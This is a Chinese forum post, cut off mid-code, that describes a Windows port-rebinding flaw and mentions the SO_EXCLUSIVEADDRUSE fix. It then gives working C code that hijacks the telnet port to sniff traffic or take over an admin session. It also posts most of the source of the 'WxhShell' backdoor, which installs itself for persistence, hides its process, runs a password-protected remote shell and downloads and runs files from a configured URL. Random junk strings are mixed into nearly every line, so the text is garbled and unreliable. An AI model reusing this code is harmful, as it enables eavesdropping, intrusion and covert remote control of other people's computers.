社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 18675阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: YUx.BZf7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |uX,5Q#6  
>[9J?H  
  saddr.sin_family = AF_INET; [h^2Y&Au5  
)[PtaPWeT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4[.oPK=i  
{t0) q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |bq$xp  
3?c3<`TW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 IEXt:  
Hw7;;HK 7  
  这意味着什么?意味着可以进行如下的攻击: q#T/  
'_GrD>P)-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :ctu5{"UJ  
8"U. Hnu  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v{(^1cX  
] Bcp;D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oE+R3[D?r  
U> cV|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  { vKLAxc  
4(|cG7>9-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &X|#R1\  
%e-7ubW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uW30ep'  
)\eI;8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~Lm$i6E <  
~rDZ?~%  
  #include 6kNrYom  
  #include 8vMG5#U[  
  #include gu0j.XS^  
  #include    VtnRgdJ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JBXrFC;  
  int main() [U5\bX@$  
  { `-(|>5wWS  
  WORD wVersionRequested; x c/}#>ED  
  DWORD ret; Y&S24aql  
  WSADATA wsaData; *1v[kWa?  
  BOOL val; (#Wu# F1;  
  SOCKADDR_IN saddr; qAn!RkA  
  SOCKADDR_IN scaddr; Yzh"1|O  
  int err; 43mP]*=A  
  SOCKET s; EB2w0a5  
  SOCKET sc; Q4+gAS9  
  int caddsize; 8n'B6hi  
  HANDLE mt; yf[~Yl>Ogw  
  DWORD tid;   JT3-AAi[Z  
  wVersionRequested = MAKEWORD( 2, 2 ); _a6[{_Pc  
  err = WSAStartup( wVersionRequested, &wsaData ); h|,:e;>}  
  if ( err != 0 ) { t5y;CxL  
  printf("error!WSAStartup failed!\n"); jN[`L%Qm   
  return -1; $wo?!gt  
  } $, ,op(  
  saddr.sin_family = AF_INET; a0D%k:k5  
   | #47O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fh](K'P#^  
9~p[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nEJY5Bz$  
  saddr.sin_port = htons(23); 8=NM|i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7R6ry(6N  
  { R)QC)U  
  printf("error!socket failed!\n"); U<DZ:ds ?T  
  return -1; D;;!ODX$?  
  } ] Hztb  
  val = TRUE; @cFJeOC|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 cc~O&?)i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m 8aITd8  
  { 3Nq N \5B:  
  printf("error!setsockopt failed!\n"); "|qqUKJZ  
  return -1; |4B:<x   
  } BT}!W`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]sE?ezu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W g02 A\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;<j0f~G`  
&Low/Y'.jJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KG|n  
  { LUM@#3&  
  ret=GetLastError(); 59"UL\3  
  printf("error!bind failed!\n"); ^/\Of{OZ-  
  return -1; -o $QS,  
  } M$/|)U'W  
  listen(s,2); _j< K=){  
  while(1) tjdaaN#,V  
  { q|!-0B @  
  caddsize = sizeof(scaddr); j4|N- :  
  //接受连接请求 {L/tst#C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HY&aV2|A1  
  if(sc!=INVALID_SOCKET) +n{#V;J  
  { 2O.i\cH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1~Oe=`{&  
  if(mt==NULL) h*w%jdQ6  
  { DAcQz4T`  
  printf("Thread Creat Failed!\n"); @?yX!_YC  
  break; 4KIRHnaj  
  } s$Z _48  
  } 9~]~#Uj  
  CloseHandle(mt); mOy^vMa  
  } DU5c=rxW  
  closesocket(s); lku[dQdk  
  WSACleanup(); Ju96#v+:  
  return 0; S|7!{}  
  }   q7_ m&-0)  
  DWORD WINAPI ClientThread(LPVOID lpParam) $~VRza 8Q  
  { A OISs4  
  SOCKET ss = (SOCKET)lpParam; {khqu:HUn`  
  SOCKET sc; M>~Drul  
  unsigned char buf[4096]; ==3dEJS  
  SOCKADDR_IN saddr; j bVECi-  
  long num; +av@$}  
  DWORD val; *K|W /'_&  
  DWORD ret; * w?N{.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FbS|~Rp~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   OB Otuu.  
  saddr.sin_family = AF_INET; D^l%{IG   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?OcJ )5C4  
  saddr.sin_port = htons(23); H`1{_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /?@3.3sl_  
  { /{+y2.{j  
  printf("error!socket failed!\n"); OSs&r$  
  return -1; 9$cWU_q{  
  } fZ0M%f  
  val = 100; F Sw\_[^CQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l_o@miG/  
  { v|uAzM{73  
  ret = GetLastError(); -:|?h{q?u  
  return -1; "e.jZcN*  
  } {1 UQ/_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ad*m%9Y1Q  
  { j(m.$:  
  ret = GetLastError(); (gP)%  
  return -1; ;j[>9g  
  } ,\_1w  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ii T"5`KY  
  { ?[@J8  
  printf("error!socket connect failed!\n"); 7gf05Z'=  
  closesocket(sc); jrr EAp  
  closesocket(ss); RL!Oi|8  
  return -1; J]{QB^?  
  } ;Lc Z`1  
  while(1) +R3k-' >  
  { r[|Xy>Zj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B3We|oe!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 */sS`/Lx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ojaws+(& y  
  num = recv(ss,buf,4096,0); Q6PHpaj  
  if(num>0) cpL7!>^=  
  send(sc,buf,num,0); aI P  
  else if(num==0) 0)Uce=t`  
  break; _ TiuY  
  num = recv(sc,buf,4096,0); 8I lunJ  
  if(num>0) l3Xfc2~ 2  
  send(ss,buf,num,0); W0dSsjNio  
  else if(num==0) |XQIfW]A  
  break; kVkU)hqR  
  } [%q@]\U$s  
  closesocket(ss); +O8%Hm  
  closesocket(sc); smlpD3?va  
  return 0 ; gH12[Us'`  
  } B,?T%  
<c2E'U)X  
|n2qVR,  
========================================================== -.1y(k^4E  
Si_ _8D  
下边附上一个代码,,WXhSHELL J[l7di5  
r(:5kC8K  
========================================================== e%svrJ2   
/a{la8Ni  
#include "stdafx.h" *:Y%HAy*  
L{X_^  
#include <stdio.h> ). <-X^@  
#include <string.h> ^X=ar TE  
#include <windows.h> B^1>PE  
#include <winsock2.h> N(; 1o.~  
#include <winsvc.h> :0Bq^G"ge  
#include <urlmon.h> PY{ G [  
bp* ^z,w  
#pragma comment (lib, "Ws2_32.lib") {+ ][5<q  
#pragma comment (lib, "urlmon.lib") .!Oo|m`V@  
I4'5P}1yp  
#define MAX_USER   100 // 最大客户端连接数 =m!-m\B/  
#define BUF_SOCK   200 // sock buffer {:Orn%Q  
#define KEY_BUFF   255 // 输入 buffer M\o9I  
O9G[j=U  
#define REBOOT     0   // 重启 ynq}76 H0k  
#define SHUTDOWN   1   // 关机 SON-Z"v  
(SWYOMo"  
#define DEF_PORT   5000 // 监听端口 IoxgjUa  
tRs [ YK  
#define REG_LEN     16   // 注册表键长度 8NxM4$nQX  
#define SVC_LEN     80   // NT服务名长度 T5R-B=YWu  
r A`V}>Xj  
// 从dll定义API vleS2-]|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P 0SQr?W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |nc@"OJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ERUz3mjA/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vy6qbC-Kt  
.7Dtm<K#  
// wxhshell配置信息 69PE9zz  
struct WSCFG { hB "fhX  
  int ws_port;         // 监听端口 -?H#LUk  
  char ws_passstr[REG_LEN]; // 口令 rx'RSo#1O  
  int ws_autoins;       // 安装标记, 1=yes 0=no {ME2ImD  
  char ws_regname[REG_LEN]; // 注册表键名 u7Y WnD  
  char ws_svcname[REG_LEN]; // 服务名 wVX[)E\J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <->{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  q['Euy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x/NfZ5e0X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u#Pa7_zBj]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RU'=ERYC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ed]=\Key  
Umz KY  
}; /@wg>&L]  
i/65v  
// default Wxhshell configuration Y#]+Tm (+  
struct WSCFG wscfg={DEF_PORT, 1A?W:'N  
    "xuhuanlingzhe", e|NG"<  
    1, +dWDxguE{w  
    "Wxhshell", J; 3{3  
    "Wxhshell", ]S&&|Fc  
            "WxhShell Service", Rvkedb  
    "Wrsky Windows CmdShell Service", 7G:s2432  
    "Please Input Your Password: ", zE336  
  1, %r<rcY  
  "http://www.wrsky.com/wxhshell.exe", 5/q}`T9i%7  
  "Wxhshell.exe" P!$Zx)T  
    }; 2n,*Nd`  
5<iV2Hx  
// 消息定义模块 w ~.f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <>n0arAn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !xzeMVI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2;[D;Y}  
char *msg_ws_ext="\n\rExit."; __lM7LFL  
char *msg_ws_end="\n\rQuit."; A ;G;^s  
char *msg_ws_boot="\n\rReboot..."; j>*S5y.{  
char *msg_ws_poff="\n\rShutdown..."; 6h>wt-tRC  
char *msg_ws_down="\n\rSave to "; Qwz}B  
HpR]q05d  
char *msg_ws_err="\n\rErr!"; bo<~jb{  
char *msg_ws_ok="\n\rOK!"; xqXo0  
~fBtQGdX  
char ExeFile[MAX_PATH]; +ylTGSZS  
int nUser = 0; -B>++r2A^  
HANDLE handles[MAX_USER]; x* DarSk  
int OsIsNt; LZ\q3 7UV  
'UkxS b  
SERVICE_STATUS       serviceStatus; &w4?)#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7wWFr  
yTyj'-4  
// 函数声明 BoA/6FRi[  
int Install(void); NnO~dRx{  
int Uninstall(void); KMt`XaC9e  
int DownloadFile(char *sURL, SOCKET wsh); ylUb9KusOx  
int Boot(int flag); %`k6w3qI  
void HideProc(void); Y4%:7mw~=  
int GetOsVer(void); pEw"8U  
int Wxhshell(SOCKET wsl); HPpR.  
void TalkWithClient(void *cs); uzXCIv@  
int CmdShell(SOCKET sock); #w;v0&p  
int StartFromService(void); l_3`G-`2  
int StartWxhshell(LPSTR lpCmdLine); TH)"wNa  
D,m]CK '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -T!f,g3vW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PEN \-*Pv  
/TE_W@?^  
// 数据结构和表定义 }L &^xe  
SERVICE_TABLE_ENTRY DispatchTable[] = :WC2Ax7$2  
{ <DpevoF  
{wscfg.ws_svcname, NTServiceMain}, R|JC1f8P5  
{NULL, NULL} L%">iQOG#  
}; ,"2s`YC  
vVj  
// 自我安装 eeIhed9  
int Install(void) .ELGWF`>  
{ YTAmgkF\4  
  char svExeFile[MAX_PATH]; ]I-Z]m "  
  HKEY key;  0,r}o  
  strcpy(svExeFile,ExeFile); +nUy,S?43  
DvME 1]7)  
// 如果是win9x系统,修改注册表设为自启动 P D4Tz!F  
if(!OsIsNt) { 0YaA`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @*>@AFnf\Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OtSL*'7>  
  RegCloseKey(key); U0=]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nJbtS#`G4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r/& sub"X  
  RegCloseKey(key); Z.d 7U~_  
  return 0; tc_286'x  
    } pqUCqo!m\  
  } cbeLu'DWB.  
} wNq;;AJ$  
else { Hip&8NW  
()tp>  
// 如果是NT以上系统,安装为系统服务 ag$Vgl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zs%Hb48V   
if (schSCManager!=0) >tTj[cMJl  
{ 6cpw~  
  SC_HANDLE schService = CreateService Pa(^}n|  
  ( dlU'2Cl7d  
  schSCManager, :!/gk8F|dI  
  wscfg.ws_svcname, m#ZO`W  
  wscfg.ws_svcdisp, 17D"cP  
  SERVICE_ALL_ACCESS, qL5{f(U4<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tq NadHQ  
  SERVICE_AUTO_START, Mmj;'iYOwF  
  SERVICE_ERROR_NORMAL, x??pBhJH  
  svExeFile, jxiC Kx,G  
  NULL, /V=24\1Ky  
  NULL, $f,n8]  
  NULL, x8!ol2\`<  
  NULL, :*t"8;O[  
  NULL nM\eDNK  
  ); )Y]{HQd  
  if (schService!=0) ii%+jdi.  
  { KQcs3F@t  
  CloseServiceHandle(schService); z?>D_NLX6  
  CloseServiceHandle(schSCManager); h8 'v d3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7~&/_3  
  strcat(svExeFile,wscfg.ws_svcname); <F'X<Bau  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .P.z B}0=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {D!6%`HKV+  
  RegCloseKey(key); 7Q7-vx  
  return 0; FW) x:2BG  
    } M(RZ/x  
  } ` L >  
  CloseServiceHandle(schSCManager); ;2@BO-3K  
} fR)m%m  
} kxp) ;  
OS4q5;1#  
return 1; C|d\3S\(  
} -6Oz^  
T|6jGZS^|W  
// 自我卸载 Au{<hQ =  
int Uninstall(void) _2k]3z?  
{ M~WijDj  
  HKEY key; w$H^q !(  
Rop'e8Q  
if(!OsIsNt) { u\LiSGePN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b8$gx:aJ>$  
  RegDeleteValue(key,wscfg.ws_regname); RaWG w  
  RegCloseKey(key); !_+8A/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S{FROC~1R  
  RegDeleteValue(key,wscfg.ws_regname); WuPH'4b 5  
  RegCloseKey(key); F6o_b4l  
  return 0; ^zEwA  
  } CNQC^d\ h  
} pWPIJ>2G:  
} &LF` W  
else { s7g(3<(  
bV edFm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +E1I");  
if (schSCManager!=0) *+TH#EL2  
{ zG' "9kJx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )+6v  
  if (schService!=0) o;W`4S^  
  { o@#Y8M  
  if(DeleteService(schService)!=0) { |} {B1A  
  CloseServiceHandle(schService); |+35y_i6  
  CloseServiceHandle(schSCManager); l IUuA  
  return 0; oY1';&BO9  
  } 28/ ADZ  
  CloseServiceHandle(schService); >$ NDv  
  } 2pzF5h  
  CloseServiceHandle(schSCManager); {K4+6p  
} W%.v.0   
} ~XyW&@  
MZTx:EN!  
return 1; Tneq6>  
} by'DQ 00  
;<$H)`*  
// 从指定url下载文件 ! iptT(2  
int DownloadFile(char *sURL, SOCKET wsh) sf OHl  
{ 4Ue_Y 'LmM  
  HRESULT hr; N[<H7_/3  
char seps[]= "/"; 6`0mta Q  
char *token; _* IPk  
char *file; zaFt*~@X  
char myURL[MAX_PATH]; DHw&+MY  
char myFILE[MAX_PATH]; 3I!?e!y3(  
K,6b3kk  
strcpy(myURL,sURL); aWwPvd3  
  token=strtok(myURL,seps); ]c<qM_HWg  
  while(token!=NULL) 21ppSN >  
  { P+!"wX0*N  
    file=token; (x"BR  
  token=strtok(NULL,seps); ) c/% NiN  
  } Q~MC7-n>  
DNR~_3Aq  
GetCurrentDirectory(MAX_PATH,myFILE); [U@ *1  
strcat(myFILE, "\\"); 5aBAr  
strcat(myFILE, file); Dy]I8_  
  send(wsh,myFILE,strlen(myFILE),0); HxB m~Lcqy  
send(wsh,"...",3,0); anj#@U;!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &n[~!%(  
  if(hr==S_OK) n4R2^gXAw  
return 0; =\,uy8HX  
else g ^!C  
return 1; 7_wJpTz  
^pS+/ZSi^  
} Wxk x,q?  
 Og2vGzD  
// 系统电源模块 iJv48#'ii  
int Boot(int flag) c{>uqPTY  
{ SR^_cpZoi  
  HANDLE hToken; 7QVuc!V  
  TOKEN_PRIVILEGES tkp; V $|<  
4"@GNk~e  
  if(OsIsNt) { ~"lJ'&J}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R#n%cXc|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B_ja&) !s1  
    tkp.PrivilegeCount = 1; N7%TYs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R8-^RvG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !)qQbk  
if(flag==REBOOT) { (>=7ng^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dI*'!wK  
  return 0; iB1i/l  
} p0{EQT`tMG  
else { Sf/q2/r?6[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B51kV0  
  return 0; 16X@^j_   
} sVoW =4V8  
  } ++}\v9Er  
  else { `W `0Fwu9  
if(flag==REBOOT) { B/J&l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ' )-M\'S$E  
  return 0; y/? &pKH^  
} p<`+sf}A:  
else { WlV z,t'if  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j2M+]Zp.  
  return 0; Nt:8ogk/  
} .mL#6P!d3^  
} \aP6_g:N}  
`Zz uo16  
return 1; `@`1pOb  
} u/Fj'*M  
b8BD8~;  
// win9x进程隐藏模块 G",.,Px  
void HideProc(void) h:/1X' 3d  
{ PT9v*3Bq~  
yPu4T6Vv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7m9 " 8   
  if ( hKernel != NULL ) ]Z4zF"@  
  { 0 nW F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MR'o{?{e`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BF8"rq}r0  
    FreeLibrary(hKernel); JmOW~W  
  } jU=<r  
wk\L*\@Y}  
return; Bmo$5$  
} LH]CUfUrUE  
!:fv>FEI9  
// 获取操作系统版本 >O]s&34  
int GetOsVer(void) cs_}&!c{  
{ U!e6FHj7  
  OSVERSIONINFO winfo; qJ8-9^E,L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .dq "k  
  GetVersionEx(&winfo); AxCI 0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ivrXwZ7jT  
  return 1; %85Icg  
  else dL;HV8z^  
  return 0; MonS hIz  
} A8?[6^%O|  
;RN8\re  
// 客户端句柄模块 gbOCR1PBg  
int Wxhshell(SOCKET wsl) FUeq \Wuo  
{ (TSqc5^H  
  SOCKET wsh; iRV ;Fks  
  struct sockaddr_in client; &K:' #[3V  
  DWORD myID; O|v (5 8A  
. %(^mK)zQ  
  while(nUser<MAX_USER) zTCP )x  
{ zp=!8Av  
  int nSize=sizeof(client); "dN < i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K 6pw8  
  if(wsh==INVALID_SOCKET) return 1; ZL%VOxYqi  
Li`hdrO'ii  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \~"#ld(x7  
if(handles[nUser]==0) U6WG?$x  
  closesocket(wsh); dc^Vc{26Z  
else RR>G]#k  
  nUser++; EI`vVI  
  } %"7WXOv&z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gM_:l  
(Nz]h:}r  
  return 0; 9[>Lp9l'  
} 6 S*zzJ.0K  
 t.3 \/  
// 关闭 socket ha'qIT 3&  
void CloseIt(SOCKET wsh) B 1w0cS%%:  
{ e`DsP8-&v  
closesocket(wsh); ;?im(9h"v!  
nUser--; rycJyiw<-  
ExitThread(0); 5upShtC  
} {'(ej5,6  
ATO 5  
// 客户端请求句柄 +rQg7a}  
void TalkWithClient(void *cs) b:x7)$(  
{ #1l7FT?q  
Z% Z"VoxH  
  SOCKET wsh=(SOCKET)cs; 8xo;E=`   
  char pwd[SVC_LEN]; @f=RL)$|  
  char cmd[KEY_BUFF]; lV7IHX1P  
char chr[1]; XqFu(Lm8=  
int i,j; S1C^+Sla]  
~x+Ykq0  
  while (nUser < MAX_USER) { -><QFJ  
LD@7(?mlU  
if(wscfg.ws_passstr) { R"Y?iZed3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rkr^Z?/GH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s*{mT6s+T  
  //ZeroMemory(pwd,KEY_BUFF); D5[VK `4Z  
      i=0; E8;TLk4\  
  while(i<SVC_LEN) { zg0%>iqO  
77_g}N  
  // 设置超时 T+BIy|O  
  fd_set FdRead; tBTJmih"  
  struct timeval TimeOut; p[;8  
  FD_ZERO(&FdRead); P7Z<0Dt\}  
  FD_SET(wsh,&FdRead); 7BrV<)ih{*  
  TimeOut.tv_sec=8; ?k w/S4  
  TimeOut.tv_usec=0; ~"5C${~{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;:^ Lv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t!l/`e%J  
|%3O) B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sVlZNj9i"  
  pwd=chr[0]; +QQ YPEx+  
  if(chr[0]==0xd || chr[0]==0xa) { Dwk$CJb3-  
  pwd=0; <q1'Li)_R  
  break; FB.!`%{  
  } xtu]F  
  i++; HD~jU>}}  
    } mj,qQ=n;p  
G$S1#F -  
  // 如果是非法用户,关闭 socket ax;{MfsK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6BR \iZ  
} /W?z0tk`  
S--/<a2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A@\qoS[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yo@m50s$  
^,~N7`  
while(1) { Qh 1q  
PGMv(}%;  
  ZeroMemory(cmd,KEY_BUFF); L;nZ0)@@l  
3a/[."W u  
      // 自动支持客户端 telnet标准   okVp\RC  
  j=0; L;4[ k;5  
  while(j<KEY_BUFF) { /bu'6/!`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); li1v 4  
  cmd[j]=chr[0]; K:Mujx:  
  if(chr[0]==0xa || chr[0]==0xd) { d"LoK,p#  
  cmd[j]=0; n=;';(wR[  
  break; LAizx^F  
  } ;K>{_k f  
  j++; (0X,Qwx  
    } e!.7no  
^! $} BY  
  // 下载文件 @*bvMEE  
  if(strstr(cmd,"http://")) { r94j+$7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D9e+  
  if(DownloadFile(cmd,wsh)) ],H1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YG-Z.{d5Z  
  else H-;&xzAI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d3\OHkM0^  
  } )PsN_ 42~  
  else { C+X)">/+L  
)[e%wPu4e  
    switch(cmd[0]) { J(3gT }z-  
  03P N{<  
  // 帮助 2]?w~qjWm  
  case '?': { j` [#Ij  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iMP*]K-O  
    break; L$oia)%t-  
  } ~uP r]#  
  // 安装 g5lmUKlQ$0  
  case 'i': { :;" aUHU'  
    if(Install()) vgUhN_rK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J- @o@!o  
    else z Y$X|= f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U:s} /to  
    break; va`l*N5  
    } 3bT6W, J4T  
  // 卸载 /}h71V!  
  case 'r': { NqQM! B]  
    if(Uninstall()) B FzcoBu-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0A) Vtj$  
    else f_Wkg)g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v>x {jZkFL  
    break; [u`17hyX  
    } Q0 uP8I}n  
  // 显示 wxhshell 所在路径 hqhu^.}]  
  case 'p': { KdBq@  
    char svExeFile[MAX_PATH]; I_"Hgx<  
    strcpy(svExeFile,"\n\r"); M<SbVP|V "  
      strcat(svExeFile,ExeFile); ``2QOu 1  
        send(wsh,svExeFile,strlen(svExeFile),0); nG4Uk2>  
    break; aTL8l.c2  
    } FUW(>0x?  
  // 重启 (>!]A6^L~  
  case 'b': { RTgQ#<W8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3*X, {%  
    if(Boot(REBOOT)) 7- *( a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I =tyQ`  
    else { 4Vb}i[</  
    closesocket(wsh); v&[X&Hu[  
    ExitThread(0); lRa 3v Ng  
    } .N zW@|  
    break; Ef,7zKG  
